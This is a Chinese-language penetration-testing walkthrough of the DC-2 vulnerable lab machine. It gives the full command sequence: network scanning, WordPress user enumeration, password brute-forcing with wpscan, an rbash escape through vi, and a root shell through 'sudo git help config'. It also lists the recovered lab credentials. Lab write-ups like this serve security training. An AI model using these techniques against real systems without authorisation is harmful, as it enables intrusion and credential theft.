DC-2靶机复现
字数 1134 2025-08-29 22:41:01
DC-2靶机渗透测试完整教学文档
1. 靶机信息收集
1.1 发现靶机IP
使用arp-scan工具扫描本地网络,发现DC-2靶机的IP地址:
arp-scan -l
发现靶机IP为:192.168.130.138
1.2 端口扫描
使用nmap进行全端口扫描:
nmap -A -p1-65535 192.168.130.138
扫描结果显示:
- 80端口:HTTP服务
- 7744端口:SSH服务(非默认22端口)
2. Web服务渗透
2.1 解决域名重定向问题
访问80端口时发现重定向到http://dc-2/,需要修改本地hosts文件:
vi /etc/hosts
添加记录:
192.168.130.138 dc-2
2.2 目录扫描
使用dirsearch工具扫描网站目录:
dirsearch -u http://dc-2/ -e * -x 403 404
发现重要文件:wp-login.php,表明这是一个WordPress站点。
2.3 获取flag1
在网站中发现flag1,提示:
- 常规字典可能无效
- 需要使用cewl工具生成定制字典
2.4 生成密码字典
使用cewl爬取网站内容生成字典:
cewl http://dc-2/ -w /home/zh1yu/dict.txt
2.5 枚举WordPress用户
使用wpscan枚举用户:
wpscan --url dc-2 -e u
发现三个用户:
- admin
- jerry
- tom
2.6 爆破用户密码
使用wpscan进行密码爆破:
wpscan --url dc-2 -U /home/zh1yu/ua.txt -P /home/zh1yu/dict.txt
成功获取凭据:
- jerry: adipiscing
- tom: parturient
2.7 获取flag2
登录WordPress后台后找到flag2,提示:
- 需要通过其他方式获取shell
- 已尝试80端口,接下来应测试SSH
3. SSH服务渗透
3.1 SSH连接尝试
尝试使用jerry用户连接SSH失败:
ssh jerry@192.168.130.138 -p 7744
使用tom用户成功连接:
ssh tom@192.168.130.138 -p 7744
3.2 突破rbash限制
发现连接后处于受限的rbash环境。
检查可用命令:
echo $PATH
echo /home/tom/usr/bin/*
发现可用命令:less、ls、scp和vi
使用vi突破限制:
- 在vi中执行:
:set shell=/bin/bash
:shell
- 设置环境变量:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
3.3 获取flag3
查找flag文件:
cat fl*
提示使用su命令切换用户。
3.4 切换到jerry用户
su jerry
输入jerry的密码"adipiscing"后成功切换,在jerry目录下发现flag4。
4. 权限提升
4.1 检查sudo权限
sudo -l
发现可以以root权限使用git命令。
4.2 Git提权
利用git帮助功能提权:
sudo git help config
在分页视图中输入:
!/bin/bash
这将启动一个具有root权限的bash shell。
4.3 获取最终flag
切换到root目录:
cd /root
ls
找到并查看最终flag文件。
5. 总结
本次渗透测试完整流程:
- 网络发现和端口扫描
- Web服务渗透(WordPress)
- 目录扫描
- 用户枚举
- 密码爆破
- SSH服务利用
- 突破rbash限制
- 权限提升
- 用户切换
- Git提权
关键工具:
- arp-scan
- nmap
- dirsearch
- cewl
- wpscan
- vi(用于突破rbash)
- git(用于提权)